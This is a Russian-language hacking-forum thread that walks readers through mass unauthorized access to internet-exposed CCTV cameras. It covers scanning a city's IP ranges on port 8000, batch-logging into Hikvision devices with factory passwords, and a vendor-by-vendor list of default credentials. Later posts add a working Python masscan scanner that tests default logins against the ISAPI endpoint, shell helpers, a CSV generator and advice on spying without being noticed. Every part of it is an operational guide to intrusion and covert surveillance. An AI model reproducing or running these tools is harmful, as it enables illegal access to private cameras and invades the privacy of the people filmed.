Всем привет. Статья о том как можно подключится к камерам наблюдения через интернет с дефолтными настройками. Оригинал статьи не мой. Я лишь переписал подробнее и добавил скриншотов. Итак, начнем. Первое с чем стоит определится это в каком городе будем искать камеры. Для примера я решил выбрать Новосибирск. Шаг 0 подготовительный. Качаем нужный софт, а именно: 1. Прога для просмотра камер http://dl.hikvision.ru/soft/iVMS-4200(v2.3.0.5).exe (версия важна именно эта!) 2. Прога для скана IP vnc_scanner_gui_1.2 3. Скрипт для оформления IP в надлежащий вид http://pastebin.com/6MJeAD0K 2 и 3 можно скачать тут https://www.sendspace.com/file/wfu28y (у кого есть возможность перезалейте, я потом добавлю в тему). Шаг 1. Ищем iP для нашего города. (Новосибирск) Заходим например сюда https://4it.me/getlistip и в поле «Введите город» вводим город Новосибирск Шаг 2. Добавляем найденные диапазоны в vnc scanner. Сканирование иногда занимает довольно много времени(от получаса до нескольких часов), так что есть смысл сканить за раз небольшое количество диапазонов. Запускаем vnc_scanner_gui_1.2.exe появляется окно Вставляем туда наши найденные диапазоны адресов (1) В отмеченных полях ставим порт 8000 В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga) Нажимаем кнопку Start scan (2) – появится окно терминала и сканирование начнется. После окончания сканирования, окно терминала закроется и нужно нажать кнопку Start Parser (3) В итоге получаем список валидных IP адресов в файле IPs.txt Шаг 3. Приводим наши IP в удобноваримый вид для импорта. Устанавливаем python 3.4 для винды тут www.python.org/ftp/python/3.4.3/python-3.4.3.msi Затем берем файлик csv.py кладем его в одну из папок, в эту же папку кидаем файл IPs.txt с нашими IP адресами. По умолчанию этот скрипт создаст csv файл который мы потом скормим программе логин у каждой камеры будет admin пароль 12345 это заводские установки для камер фирмы hikvision (достаточно популярные) можно редактируя скрипт в обычном блокноте менять логины и пароли по умолчанию. (список дефолтных настроек для разных камер внизу статьи). Итак, положили скрипт и файл с IP вместе, можно кликнуть по скрипту дважды (в винде) и он выполнится и создаст csv файл для импорта. Если через дабл клик не запускается, запустите через командную строку, без параметров. Шаг 4. Теперь у нас есть готовый файл для импорта. Устанавливаем программу iVMS-4200(v2.3.0.5).exe, заходим в нее там будет Device Management- Вкладка Server– нажимаем Add Device - там выбираем Batch Import– выбираем наш csv файл. После того как наш файл загрузится список камер появятся в основном окне, и они начнут автоматически подключаться. Те что подключаться загорятся зеленой иконкой и у них появится serial no Те что не подключились можно удалить, а те что загорелись зеленым можно смотреть! Заходим в Main View, выбираем камеру и смотрим. Можно выбрать расположение камер (1) рекомендую в раз больше 1 камеры не смотреть, так меньше тормозит, камеру выбираем из списка при этом надо развернуть папку (2), так же некоторые камеры поддерживают удаленное управление (3), можно поворачивать камеры, приближать и т.д. (не рекомендую делать, можно спалиться), так же на некоторых камерах есть динамики и можно че нить пиздануть в микрофон и в помещении с камерой люди это услышат(не рекомендую, спалитесь 100%). Ну вот собственно и все. Призываю вас быть умными и не дестроить камеры, для того что бы такая тема прожила дольше. Не обязательно искать в России, можно вообще по всему миру искать. И еще если кто то сможет написать простой брутфорсер камер по словарю стандартных логинов \ паролей, будет вообще шикарно. Список стандартных доступов прилагаю. Spoiler: доступы ACTi: admin/123456 or Admin/123456 Arecont Vision: нет Avigilon: admin/admin Axis: root/pass, У новых моделей нет пароля по умолчанию. Пароль задаётся во время первой настройки. Basler: admin/admin Bosch: нет Brickcom: admin/admin Cisco: Нет пароля по умолчанию. Пароль задаётся во время первой настройки. Dahua: admin/admin Digital Watchdog: admin/admin DRS: admin/1234 DVTel: Admin/1234 DynaColor: Admin/1234 FLIR: admin/fliradmin Foscam: admin/нет GeoVision: admin/admin Grandstream: admin/admin Hikvision: admin/12345 Honeywell: admin/1234 IQinVision: root/system IPX-DDK: root/admin or root/Admin JVC: admin/jvc Mobotix: admin/meinsm Panasonic: admin/12345 Pelco Sarix: admin/admin Pixord: admin/admin Samsung Electronics: root/root или admin/4321 Samsung Techwin (старая модель): admin/1111111 Samsung Techwin (новая модель): admin/4321 Sanyo: admin/admin Scallop: admin/password Sentry360 (mini): admin/1234 Sentry360 (pro): нет Sony: admin/admin Stardot: admin/admin Starvedia: admin/нет Trendnet: admin/admin Toshiba: root/ikwd VideoIQ: supervisor/supervisor Vivotek: root/нет> Ubiquiti: ubnt/ubnt Wodsee: admin/нет Всем спасибо. Материал отсюда - http://pikabu.ru/story/shpionim_cherez_quotprivatnyiequot_kameryi_videonablyudeniya_3294899
На пикабу нагло спиздили с bhf не указав источник, от туда 2 скрина моих =) https://bhf.su/threads/122143/page-53#post-1414326 https://bhf.su/threads/122143/page-50#post-1413925
ну вроде в нужный раздел. а вообще прием интересный, мне оч. понравился, я о таком более нигде никогда не видел. пикабу он такой, удивляться нечему...
Шаблон csv для открытия списка ip, чтоб вручную не вставлять. # "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" Копируем строчку "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" много раз, (сколько ip, столько и строчек) копируем список ip, затем в Notepad++ или AkelPad (или еще в чем-нить) выделяем через зажатый Alt столбик из фраз "тут должен быть ip" (без кавычек) и вставляем скопированный ранее столбик из ip, сохраняем в .csv и загружаем его через iVMS. С AkelPad можно проще. Взять за шаблон # "Camera001","0","","8000","0","admin","12345","0","0","0","0" и между кавычек вставляем столбик из ip через правка - выделение - вертикальная вставка или Alt+V, в Notepad++ не нашел такой функции. Таким образом можно сразу несколько десятков ip вогнать за пол минуты =) Вот еще руссик для софта https://yadi.sk/d/E7pGali0gGyQC и KPortScan 3.0, он лучше vnc сканнера https://www.sendspace.com/file/5odoea
вы мануал выше не читали видимо, там в комплекте идет скрипт питоновский которые все это делает автоматом. задаешь логин\пароль подсовываешь txt с ipшниками и готов файл csv для импорта.
Всем привет написал скриптик на питоне Linux Only (из-за статичных путей), прошу сильно не пинать. Скрипт сканит диапазоны IP, все где открыт порт 8000 сохраняет в XML (средствами masscan), затем бежит по IP адресам в этом XML парсит страничку находящуюся на порту 8000 вставляя дефолтный логин и пароль, если подошел записывает в фаил, иначе переходит к следующему IP адресу. З.Ы. Камеры к которым уже подошел лог пасс второй добавляет в исключение, при повторном запуске пропускает. Есть пару неотлавливаемых ошибок, если кто хочет помочь дописать, оптимизировать, привязать морду (GUI), сделать кроссплатформенный прошу на github (filatovvo), irc (neocaine), или в личку. В диапазоне моей страны находит около 120 камер за первый пробег. Spoiler: GitHub https://github.com/filatovvo/TasIXIPCamScanner/blob/master/scanner.py Spoiler: Python CODE Code: # INSTALL # Requirements # Root Priveleges # https://github.com/martinblech/xmltodict - XML To Dictionary Parser # https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning #CONSTANTS LOGIN = 'admin' PWD = '12345' SCRIPTRESULT = 'result.txt' LOGGINGLEVEL = 40 # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10 ARCHIVEPATH = '/tmp/ipcam/archive//' ARCHIVEFOLDERNAME = 'archive' MASSCANFOLDER = '/home/neocaine/' MASSCANRESULT = 'scan.xml' MASSCANEXCLUDE = 'exclude' MASSCANCONF = 'cam.conf' MASSCANCAMPORTCONF = 'port = 8000' MASSCANOUTPUTFORMATCONF = 'output-format = xml' MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE MASSCANRANGECONF = '''http-user-agent = [email protected] range = 31.136.209.0/21 range = 218.31.161.0/20''' import requests import xmltodict import shutil, zipfile import os, logging, time from datetime import datetime, timedelta from urllib2 import urlopen import urllib2, httplib import socket import requests def make_conf_for_masscan(): masscan_config = MASSCANRANGECONF + '\r\n'\ + MASSCANCAMPORTCONF + '\r\n'\ + MASSCANEXCLUDECONF + '\r\n'\ + MASSCANOUTPUTFORMATCONF + '\r\n'\ + MASSCANRESULTCONF fname = MASSCANFOLDER + MASSCANCONF if os.path.exists(fname): os.remove(fname) open(fname, 'a').close() with open(fname, 'a') as masscan_conf: masscan_conf.seek(0) masscan_conf.write(masscan_config) masscan_conf.close() else: open(fname, 'a').close() with open(fname, 'a') as masscan_conf: masscan_conf.seek(0) masscan_conf.write(masscan_config) masscan_conf.close() fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE open(fnameExclude, 'a').close() def start_masscan(): os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF) #MakeDir Function def mkdir(dir): logging.debug('_Function Called mkdir (dir = %s)' % dir) try: os.stat(dir) except: os.makedirs(dir) def zipdir(path, zip): logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip)) for root, dirs, files in os.walk(path): for file in files: zip.write(os.path.join(root, file)) def delete_previous_file(): logging.debug('_Function Called deletePreviousFile') try: os.remove(MASSCANFOLDER + MASSCANRESULT) os.remove(MASSCANFOLDER + SCRIPTRESULT) except: logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER) def setup_custom_logger(name): formatter = logging.basicConfig(format=u'%(filename)s ' u'[LINE:%(lineno)d]# ' u'%(levelname)-8s ' u'[%(asctime)s] ' u'%(message)s', level=LOGGINGLEVEL) handler = logging.StreamHandler() handler.setFormatter(formatter) logger = logging.getLogger(name) logger.setLevel(logging.DEBUG) logger.addHandler(handler) return logger def test_default_log_pass(ip): logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip) url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime class MyException(Exception): pass try: a =urllib2.urlopen("http://"+ip, timeout = 3) except urllib2.URLError, e: logging.warning('Exception in urllib2.urlopen = %s', e) return 0 except socket.timeout, e: logging.warning('Exception in socket = %s', e) return 0 except socket.error, e: logging.warning('Exception in socket = %s', e) return 0 except requests.ConnectionError, e: logging.warning('Exception in request = %s', e) return 0 except requests.RequestException,e: logging.warning('Exception in request = %s', e) return 0 except httplib.BadStatusLine, e: logging.warning('Exception in httplib = %s', e) return 0 except: logging.warning("Unknown Exception while urllib2.urlopen") return 0 logging.debug('Request Post To = %s', url) values = {'username': LOGIN, 'password': PWD} r = requests try: r = requests.post(url, data=values) except requests.ConnectionError, e: logging.warning('Exception in requests = %s', e) return 0 except httplib.BadStatusLine, e: logging.warning('Exception in httplib = %s', e) return 0 except: logging.warning("Unknown Exception while requests.post") return 0 fname = MASSCANFOLDER + MASSCANRESULT if os.path.exists(fname): os.remove(fname) open(fname, 'a').close() with open(fname, 'a') as myxmlfile: myxmlfile.seek(0) myxmlfile.write(r.content) myxmlfile.close() else: open(fname, 'a').close() with open(fname, 'a') as myxmlfile: myxmlfile.seek(0) myxmlfile.write(r.content) myxmlfile.close() with open(fname) as fd: try: obj = xmltodict.parse(fd.read()) except: logging.warning("Can`t Parse Required xml data") return 0 try: if int(obj['userCheck']['statusValue']) == 200: print ip + ' Has Default Log Password' os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT) os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE) except: logging.debug("xml unknown format = %s",ip) def masscan_return_parser(): fname = MASSCANFOLDER + MASSCANRESULT if not os.path.exists(fname): print(fname) print("WTF") exit() with open(fname) as masscanResult: objects = xmltodict.parse(masscanResult.read()) for w in objects['nmaprun']['host']: logging.debug("Getting Ip from XML = %s", w['address']['@addr']) test_default_log_pass(w['address']['@addr']) logger = setup_custom_logger('root') datenow = datetime.now() unixtime = str(time.time() + timedelta(days=3).total_seconds()) delete_previous_file() make_conf_for_masscan() start_masscan() masscan_return_parser() В дальнейшем планирую вытаскивать DYNDNS запись, если она настроена на камере, если нет то дописать туда рандомно числа и в случае успешного сохранения так же записать в фаил.
Spoiler: оффтоп В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga) Не нужно, эта кнопа для парсинга ипов выбранной страны
При запуске на 1 секунду появляется консоль и исчезает запускал два раза,нечего не происходит . После чего я запустил CMD и вставил cvs.py Вот что вылезло,2 раза пробовал . C:\Users\*******>"C:\Users\*******\Desktop\Новая папка\csv.py" Traceback (most recent call last): File "C:\Users\*******\Desktop\Новая папка\csv.py", line 4, in <module> file = open('c:\\csv\\IPs.txt','r') FileNotFoundError: [Errno 2] No such file or directory: 'c:\\csv\\IPs.txt' Пробовал даже в CMD кинуть cvs.py потом нажимал пробел ложил IPs.txt,но все так же и без результатов .
Все работает. Но есть пара недочетов. Максимально возможное кол-во камер -256 А если у меня в файле 500+ Я начал перебирать по одной связке нашел среди первых 256 -7 штук удалил 256 записей в текстовике потом он начал меньше на 7 портировать и тд и тп. Что можно с этим придумать? Может есть еще какой софт для просмотра камер, с возможностью импорта из таблицы excel? без ограничения на кол-во камер
воспользовался способом ТСа, всё получилось, хоть и не с первого раза, за инструктаж отдельное спасибо
Хоть что-нибудь интересное попадалось? Одни склады, парковки, бомжи, да заводы. Пробовал более уникальные пассы делать, из 400 айпи 1-2 гудов попадаются, а на стандартные пассы уже говорил бомжи одни, еще это ограничение в 256 адресов, невозможно просто.
Немного модернизации. Сканируем в масштабах города. Действие номер 1: Открываем https://4it.me Вбиваем свой город. Действие 2: копируем все диапазоны Вашего города в файл scan-r.txt Действие 3: Добавляем "range =" в начало каждой строки awk '{print "range = "$0}' /tmp/scan-r.txt > /tmp/scan-range.txt Действие 4: вставляем содержимое /tmp/scan-range.txt в параметр MASSCANRANGECONF = '''http-user-agent = [email protected] range = 31.136.209.0/21 range = 218.31.161.0/20''' скрипта Spoiler: Python Script # INSTALL # Requirements # Root Priveleges # https://github.com/martinblech/xmltodict - XML To Dictionary Parser # https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning #CONSTANTS LOGIN = 'admin' PWD = '12345' SCRIPTRESULT = 'result.txt' LOGGINGLEVEL = 40 # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10 ARCHIVEPATH = '/tmp/ipcam/archive//' ARCHIVEFOLDERNAME = 'archive' MASSCANFOLDER = '/home/neocaine/' MASSCANRESULT = 'scan.xml' MASSCANEXCLUDE = 'exclude' MASSCANCONF = 'cam.conf' MASSCANCAMPORTCONF = 'port = 8000' MASSCANOUTPUTFORMATCONF = 'output-format = xml' MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE MASSCANRANGECONF = '''http-user-agent = [email protected] range = 31.136.209.0/21 range = 218.31.161.0/20''' import requests import xmltodict import shutil, zipfile import os, logging, time from datetime import datetime, timedelta from urllib2 import urlopen import urllib2, httplib import socket import requests def make_conf_for_masscan(): masscan_config = MASSCANRANGECONF + '\r\n'\ + MASSCANCAMPORTCONF + '\r\n'\ + MASSCANEXCLUDECONF + '\r\n'\ + MASSCANOUTPUTFORMATCONF + '\r\n'\ + MASSCANRESULTCONF fname = MASSCANFOLDER + MASSCANCONF if os.path.exists(fname): os.remove(fname) open(fname, 'a').close() with open(fname, 'a') as masscan_conf: masscan_conf.seek(0) masscan_conf.write(masscan_config) masscan_conf.close() else: open(fname, 'a').close() with open(fname, 'a') as masscan_conf: masscan_conf.seek(0) masscan_conf.write(masscan_config) masscan_conf.close() fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE open(fnameExclude, 'a').close() def start_masscan(): os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF) #MakeDir Function def mkdir(dir): logging.debug('_Function Called mkdir (dir = %s)' % dir) try: os.stat(dir) except: os.makedirs(dir) def zipdir(path, zip): logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip)) for root, dirs, files in os.walk(path): for file in files: zip.write(os.path.join(root, file)) def delete_previous_file(): logging.debug('_Function Called deletePreviousFile') try: os.remove(MASSCANFOLDER + MASSCANRESULT) os.remove(MASSCANFOLDER + SCRIPTRESULT) except: logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER) def setup_custom_logger(name): formatter = logging.basicConfig(format=u'%(filename)s ' u'[LINE:%(lineno)d]# ' u'%(levelname)-8s ' u'[%(asctime)s] ' u'%(message)s', level=LOGGINGLEVEL) handler = logging.StreamHandler() handler.setFormatter(formatter) logger = logging.getLogger(name) logger.setLevel(logging.DEBUG) logger.addHandler(handler) return logger def test_default_log_pass(ip): logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip) url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime class MyException(Exception): pass try: a =urllib2.urlopen("http://"+ip, timeout = 3) except urllib2.URLError, e: logging.warning('Exception in urllib2.urlopen = %s', e) return 0 except socket.timeout, e: logging.warning('Exception in socket = %s', e) return 0 except socket.error, e: logging.warning('Exception in socket = %s', e) return 0 except requests.ConnectionError, e: logging.warning('Exception in request = %s', e) return 0 except requests.RequestException,e: logging.warning('Exception in request = %s', e) return 0 except httplib.BadStatusLine, e: logging.warning('Exception in httplib = %s', e) return 0 except: logging.warning("Unknown Exception while urllib2.urlopen") return 0 logging.debug('Request Post To = %s', url) values = {'username': LOGIN, 'password': PWD} r = requests try: r = requests.post(url, data=values) except requests.ConnectionError, e: logging.warning('Exception in requests = %s', e) return 0 except httplib.BadStatusLine, e: logging.warning('Exception in httplib = %s', e) return 0 except: logging.warning("Unknown Exception while requests.post") return 0 fname = MASSCANFOLDER + MASSCANRESULT if os.path.exists(fname): os.remove(fname) open(fname, 'a').close() with open(fname, 'a') as myxmlfile: myxmlfile.seek(0) myxmlfile.write(r.content) myxmlfile.close() else: open(fname, 'a').close() with open(fname, 'a') as myxmlfile: myxmlfile.seek(0) myxmlfile.write(r.content) myxmlfile.close() with open(fname) as fd: try: obj = xmltodict.parse(fd.read()) except: logging.warning("Can`t Parse Required xml data") return 0 try: if int(obj['userCheck']['statusValue']) == 200: print ip + ' Has Default Log Password' os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT) os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE) except: logging.debug("xml unknown format = %s",ip) def masscan_return_parser(): fname = MASSCANFOLDER + MASSCANRESULT if not os.path.exists(fname): print(fname) print("WTF") exit() with open(fname) as masscanResult: objects = xmltodict.parse(masscanResult.read()) for w in objects['nmaprun']['host']: logging.debug("Getting Ip from XML = %s", w['address']['@addr']) test_default_log_pass(w['address']['@addr']) logger = setup_custom_logger('root') datenow = datetime.now() unixtime = str(time.time() + timedelta(days=3).total_seconds()) delete_previous_file() make_conf_for_masscan() start_masscan() masscan_return_parser() не забудьте выставить LOGIN и PASS Действие 5: после скрипта будет файл scan.xml из него нам нужно вытащить все IP адреса cat /tmp/scan.xml | awk '{print $3}' | egrep -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > /tmp/scan.txt файл /tmp/scan.txt будет содержать только IP адреса из файла scan.xml Действие 6: Полученный на этапе 5 файл scan.txt нужно распарсить по 256 строк создаем файл split.sh Spoiler: split.sh #!/bin/bash # split.sh if [ -z "$1" ]; then echo "Need file name as parameter" fi L=256 M=$(wc -l "$1" | egrep -o '^[0-9]+') N=$((M / L)) if [[ $((N*L)) -lt $M ]]; then tail -n$((M - N*L)) "$1" > "$1$((N+1))"; fi for ((i=0; i<N; i++)); do head -n$((i*L + L)) "$1" | tail -n$L > "$1$i"; done запускаем split.sh ./split.sh /tmp/scan.txt на выходе будет куча файлов с IP адресами по 256 строк. Действие 7: скармливаем кадый файл с 256 IP адресами из предидущего действия следующему скрипту Spoiler: CSV.py login = 'admin' passw = 'admin' file = open('/tmp/scan.txt','r') csv = open('/root/out_'+login+'_'+passw+'.csv','w') k = 0 for line in file: temp = '"' + str(k) + '_ip1","0","'+line[0:-1:1]+'","8000","0","'+login+'","'+passw+'","0","1","0","0"'+'\n' csv.write(temp) k += 1 csv.close() file.close() На выходу будем иметь файл для скармливания Программе для камер
дружище ,написано же что не может найти файл на диске c в папке csv, надеюсь твой файл со скриптом там находится?